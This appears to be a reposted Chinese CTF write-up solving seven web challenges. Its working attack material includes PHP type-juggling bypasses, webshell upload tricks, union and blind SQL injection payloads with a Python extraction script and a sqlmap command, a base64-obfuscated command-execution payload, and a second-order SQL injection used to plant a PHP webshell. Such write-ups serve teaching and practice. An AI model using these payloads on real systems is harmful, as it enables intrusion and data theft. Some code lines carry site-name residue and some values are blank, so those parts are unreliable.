CumtCTF第二次双月赛Writeup(Web详解)

CumtCTF第二次双月赛Writeup(Web详解)CumtCTF 第二次双月赛 Writeup Web 详解 Web1 签到题 1 打开题目 源码直接显示在网页上 2 发现构造 0ver 0ver1 0ver2 即可 下面就进行代码审计 1 首先构造 0ver 有以下三个条件

大家好,我是讯享网,很高兴认识大家。

CumtCTF第二次双月赛Writeup(Web详解)

Web1:签到题

1、打开题目,源码直接显示在网页上。
web1
讯享网

2、发现构造0ver、0ver1、0ver2即可,下面就进行代码审计:

(1)首先构造 0ver,有以下三个条件:
ereg("^[0-9]+$", $a) === FALSE),即要进行一次或多次 0-9 数字正则表达式匹配
in_array($a,$white_list),即0ver 中要有 range(0,9)
strlen($a)>1,即0ver 的长度要大于 1

一开始以为要考ereg()截断漏洞,其实是in_array()松散比较,即

var_dump(in_array('b', array('a'=>true))); 返回值:true var_dump(in_array('01',array('1'))); 返回值也是:true 

讯享网

为什么是这样呢?

  • in_array('b', array('a'=>true)) 实质上是'b'==true 这样的类型比较,b 是变量或者一个字符串string,和bool 类型比较,结果是true。
    但是如果 'b'===true 结果可能就不一样了,返回值:false,就是类型比较的问题。
  • 第二个例子,也就是本题的考点之一。
讯享网 var_dump('01'==1); 返回值:true var_dump('01'===1); 返回值:false 

因此构造: 0ver=01

(2)构造 0ver1 和 0ver2,有以下条件:

md5($c) === md5($b) && ($b !== $c) 

所以要构造 md5 相同,真值不同的两个参数,但注意这里 md5 用===判断,所以不能利用md5 开头是 0e 的字符串来绕过,但可以利用数组绕过。
因此构造:0ver1[]=1&0ver2[]=2

3、最终构造的payload为:?0ver=01&0ver1[]=1&0ver2[]=2,得到 flag。
在这里插入图片描述

Web2:SimpleUpload签到

1、只允许png/gif/jpg文件格式,查看源码,判断为前端验证,并且提示flag在当前目录的flag.php 在这里插入图片描述
2、上传后缀为png的一句话木马,BurpSuite抓包改后缀为php,拿到链接。
在这里插入图片描述
3、用菜刀链接木马,根据提示在flag.php中找到flag。
在这里插入图片描述

Web3:小型线上赌场

1、 这一题要求下注并猜测赚的钱,但是赔率没刷新或提交一次页面都会变化。
在这里插入图片描述
2、根据题目及后续的hint可知存在vim备份文件泄露,.index.swp下载swp。
在这里插入图片描述
3、在kali下面对得到的index.swp文件进行恢复,进入文件的目录后vim -r index.swp,得到源码。
在这里插入图片描述
4、进行代码审计

讯享网<?php $invest = $_GET['invest']; $rand = rand(2,50); $len = strlen(trim($_GET['invest'])); //除去空格后所传入'invest'的长度 //限制非数字和0 foreach ($_GET as $key => $value) { 
    if(!is_numeric($value)||$value == '0'){ 
    die('no no no!'); } } $money = number_format($invest*$rand); //number_format()函数通过千位分组来格式化数字,返回的是字符串 $money = intval(str_replace(',','',$money)); //再将上一步中格式化进去的逗号去掉,并用intval()函数用于获取变量的整数值 $guess = intval($_GET['guess']); if ($guess == $money && strlen($money)===$len) { 
    echo $flag; } 

最后的判断逻辑为:猜测的数(guess)与money相等,且money的长度与invest的长度相等。
问题出现在intval()函数上,关于此函数返回值如下:
在这里插入图片描述
也就是说当传入intval()的参数足够大时,其返回值根据操作系统的不同,是固定的数值(32位:,64位:),这一题也就是传入的invest的数足够大时,无论随机数是多少,经过intval()函数处理过的money的值均是不变的。

这样思路也就很清楚了,只需将guess的值等于money的64位上限值,也就是,invest的长度要等于money的长度(任意19位数字),即可得到flag。
在这里插入图片描述

Web4:SimpleSQLi
爆表名 ?id=-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database()) --+ 

在这里插入图片描述

讯享网爆字段名 ?id=-1' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='flagishere') --+ 

在这里插入图片描述

爆字段 ?id=-1' union select 1,2,(select flag from flagishere) --+ 

在这里插入图片描述
(2)sqlmap注入:

讯享网python2 sqlmap.py -u "http://bxs.cumt.edu.cn:30007/test/index.php?id=1" -D security -T flagishere -C flag --dump 

在这里插入图片描述

Web5:真的简单。。

(1)也是一道SQL注入题,但是过滤了 unionselectorand等关键词,可以通过双写绕过

payload: 爆表名(这里注意information中也包含'or',所以也要双写'or') ?id=-1' uniunionon seleselectct 1,2,(seleselectct group_concat(table_name) from infoorrmation_schema.tables where table_schema=database()) --+ 爆字段名 ?id=-1' uniunionon seleselectct 1,2,(seleselectct group_concat(column_name) from infoorrmation_schema.columns where table_name='flag') --+ 爆字段 ?id=-1' uniunionon seleselectct 1,2,(seleselectct flag from flag) --+ 

最终得到:
在这里插入图片描述
并没有直接爆出flag,看来不是一道简单的SQL注入题。

(2)打开admin_0/exec.php页面,是后台命令执行。

输入如下命令进行执行,即可获得flag:

讯享网`echo$IFS"Y2F0IC9mbGFnXzMzMTQvZmxhZw=="|base64$IFS-d` 

(对命令执行的绕过方法还不太熟悉,题目不能复现了,等学习后再详细解释吧…)
在这里插入图片描述

Web6:SimpleSQLi2

(1)这还是一道SQL注入题,但是只会回显Welcome to CUMTCTF'2019~NoNoNo~两个页面,因此可以判断为SQL盲注。
(2)过滤方式和上一题差不多,但测试发现只要构造的payload里有含有空格,均返回NoNoNo~页面,所以判断空格被过滤了。
(3)关键词依旧可以通过双写绕过,空格可以通过//绕过,通过下面判断出为数字型注入,构造的代码可以直接执行。

id 返回页面
id=1 Welcome to CUMTCTF’2019~
id=1’ NoNoNo~
id=1//anandd//1=1--+ Welcome to CUMTCTF’2019~
id=1//anandd//1=2--+ NoNoNo~
id=1’//anandd//1=1--+ NoNoNo~
id=1’//anandd//1=2--+ NoNoNo~

知道过滤方式之后,就可以写脚本来爆破:

import requests s = requests.Session() url = 'http://bxs.cumt.edu.cn:30010/test/index.php' payloads = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0,{}_' flag = '' for i in range(1,50): for j in payloads: # 依次跑下面三个payload # 表名 #payload = f"?id=if(substr((seleselectct//binary//group_concat(table_name)//from//infoorrmation_schema.tables//where//table_schema=database()),{i},1)='{j}', 1, 0)" # 字段名 #payload = f"?id=if(substr((selselectect//binary//group_concat(column_name)//from//infoorrmation_schema.columns//where//table_name='flagishere'),{i},1)='{j}', 1, 0)" # 字段 payload = f"?id=if(substr((selselectect//binary//group_concat(flag)//from//flagishere) ,{i},1)='{j}', 1, 0)" # 这里通过加入binary来区分大小写,因为flag中大小写都可能包含 if 'NoNoNo' not in s.get(url+payload).text: flag += j break print(flag) 

最终获得flag如下:
在这里插入图片描述

Web7:文件管理系统
讯享网<?php require_once "common.inc.php"; define('ROOT',dirname(__FILE__).'/'); if($_FILES) { 
    $file = $_FILES["upfile"]; if($file["error"] == UPLOAD_ERR_OK) { 
    $name = basename($file["name"]); $path_parts = pathinfo($name); if(!in_array($path_parts["extension"], array("gif", "jpg", "png", "zip", "txt"))) { 
    exit("error extension"); } $path_parts["extension"] = "." . $path_parts["extension"]; // $path_parts["extension"] = ".jpg" $name = $path_parts["filename"] . $path_parts["extension"]; $path_parts['filename'] = addslashes($path_parts['filename']); //$path_parts['filename'] = "',extension='',filename='webshell.jpg" $sql = "select * from `file` where `filename`='{ 
     $path_parts['filename']}' and `extension`='{ 
     $path_parts['extension']}'"; $fetch = $db->query($sql); if($fetch->num_rows>0) { 
    exit("file is exists"); } if(move_uploaded_file($file["tmp_name"], ROOT . UPLOAD_DIR . $name)) { 
    $sql = "insert into `file` ( `filename`, `view`, `extension`) values( '{ 
     $path_parts['filename']}', 0, '{ 
     $path_parts['extension']}')"; $re = $db->query($sql); if(!$re) { 
    echo 'error'; print_r($db->error); exit; } $url = "/" . UPLOAD_DIR . $name; echo "Your file is upload, url: <a href=\"{ 
     $url}\" target='_blank'>{ 
     $url}</a><br/> <a href=\"/\">go back</a>"; } else { 
    exit("upload error"); } } else { 
    print_r(error_get_last()); exit; } } 

3.问题主要出现在rename.php里,代码如下:

<?php require_once "common.inc.php"; define('ROOT',dirname(__FILE__).'/'); if(isset($req['oldname']) && isset($req['newname'])) { 
    $result = $db->query("select * from `file` where `filename`='{ 
     $req['oldname']}'"); //因为filename是经过转义后存入数据库的,这里是正常执行sql语句 if ($result->num_rows>0) { 
    $result = $result->fetch_assoc(); }else{ 
    exit("old file doesn't exists!"); } if($result) { 
    $req['newname'] = basename($req['newname']); $re = $db->query("update `file` set `filename`='{ 
   $req['newname']}', `oldname`='{ 
   $result['filename']}' where `fid`={$result['fid']}"); if(!$re) { print_r($db->errorInfo()); exit; } $oldname = ROOT.UPLOAD_DIR . $result["filename"].$result["extension"]; $newname = ROOT.UPLOAD_DIR . $req["newname"].$result["extension"]; if(file_exists($oldname)) { rename($oldname, $newname); $url = "/" . $newname; echo "Your file is rename, url: <a href=\"{$url}\" target='_blank'>{ 
   $url}</a><br/> <a href=\"/\">go back</a>"; } else{ 
   echo $oldname." not exists.";} } } ?> 

第一个select语句显示根据 $req['filename'] 从数据库里查询到已存在的一行,再用第二个update语句进行修改,这里的'oldname'='{$result['filename']}'将从数据库里查出的$result['filename']再一次入库,因此存在二次注入。

4、观察发现oldnamenewname,有几个特点:

  • 后缀相同,都是$result[‘extension’]
  • oldname的文件名来自数据库,newname的文件名来自用户输入

虽然代码要求oldnamenewname要求后缀相同,可以通过update型注入extension改为空,同时可修改filename的值。
因此构造文件名payload为:',extension='',filename='webshell.jpg.jpg

5、上传文件名为:',extension='',filename='webshell.jpg.jpg的文件后,根据upload.php知:

讯享网 $path_parts["extension"] = ".jpg" $path_parts['filename'] = "',extension='',filename='webshell.jpg" 插入数据库后,此时数据库里: filename字段的值为经过addslashes()转义的',extension='',filename='webshell.jpg extension字段的值为.jpg 

在这里插入图片描述

6、下来才是真正的updata注入过程

进入到rename.php页面,进行如下操作,将文件名修改为由',extension='',filename='webshell.jpg修改为webshell.jpg(这里rename页面输入的文件名均是要求不含后缀的,在数据库里文件名和后缀是分两个字段进行存储的)
在这里插入图片描述
上述操作改名后:

$req['oldname'] = "',extension='',filename='webshell.jpg" $req['newname'] = "webshell.jpg" 

接下来执行:select * from 'file' where 'filename'='{$req['oldname']}'
因为filename在上传后经过addslashes()转义的,所以此条语句正常执行

但是在执行下条语句,也就是:

讯享网update 'file' set 'filename'='{$req['newname']}', 'oldname'='{$result['filename']}' where 'fid'={$result['fid']} 

出现了注入,将构造的文件名插入这条语句得到实际执行的sql语句:

 update 'file' set 'filename'='webshell.jpg', 'oldname'='',extension='',filename='webshell.jpg' where 'fid'={$result['fid']} 

可以发现通过updata语句,修改了数据中的字段值,此时数据库中各字段:

讯享网filename = webshell.jpg oldname = 空 extension = 空 

这样思路就很清楚了:

  • 虽然数据库中的filename通过注入改变了,但真实系统目录里的文件名为其实并没有变。
    但是通过前面的注入,这条记录的extension值为空,因此只要能够调用rename()函数,就直接把输入的filename里的后缀当成文件后缀。
  • 执行rename()函数还有一个判断:if(file_exists($oldname)),但实际上我们系统目录并没有webshell.jpg这个文件,这样就需要再上传一个webshell.jpg文件。

7、因此接下来就可以上传真正包含一句话木马的文件:webshell.jpg,上传后:

$path_parts["extension"] = ".jpg" $path_parts['filename'] = "webshell" 并在数据库中插入了新的一条记录: filename字段的值为经过addslashes()转义的webshell extension字段的值为.jpg 且系统目录下存在真实文件:webshell.jpg 

在这里插入图片描述
接下来再次进入rename.php页面进行改名,这也是很关键的一步:
在这里插入图片描述
webshell.jpg改为webshell.php,这样操作后:

因为注入后,数据库中存在filenamewebshell.jpg的记录,因此可以绕过这条语句:

讯享网select * from 'file' where 'filename'='{$req['oldname']}' 

然后再次通过updata语句:

update 'file' set 'filename'='{$req['newname']}', 'oldname'='{$result['filename']}' where 'fid'={$result['fid']} 

filename的值从webshell.jpg修改为webshell.phpoldname修改为原来filename的值,其他不变,此时数据库中这条记录的字段值为:

讯享网filename = webshell.php oldname = webshell.jpg extension = 空 

接下来,因为后缀extension为空,所以通过这两条语句赋值后:

$oldname = ROOT.UPLOAD_DIR . $result["filename"].$result["extension"]; $newname = ROOT.UPLOAD_DIR . $req["newname"].$result["extension"]; 

实际上得到:

讯享网$oldname = webshell.php $newname = webshell.jpg 

最后,在进行if(file_exists($oldname))判断时,因为第二次上传到目录的文件就是webshell.jpg,所以可以通过判断。
这样就可以执行rename($oldname, $newname),将目录下的包含木马的文件webshell.jpg改名为webshell.php,也就成功上传了php木马到后台。

8、既然已经成功上传了webshell,那么直接用菜刀链接,即可getshell,获得flag。
在这里插入图片描述

小讯
上一篇 2025-03-19 12:36
下一篇 2025-04-05 20:55

相关推荐

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容,请联系我们,一经查实,本站将立刻删除。
如需转载请保留出处:https://51itzy.com/kjqy/46863.html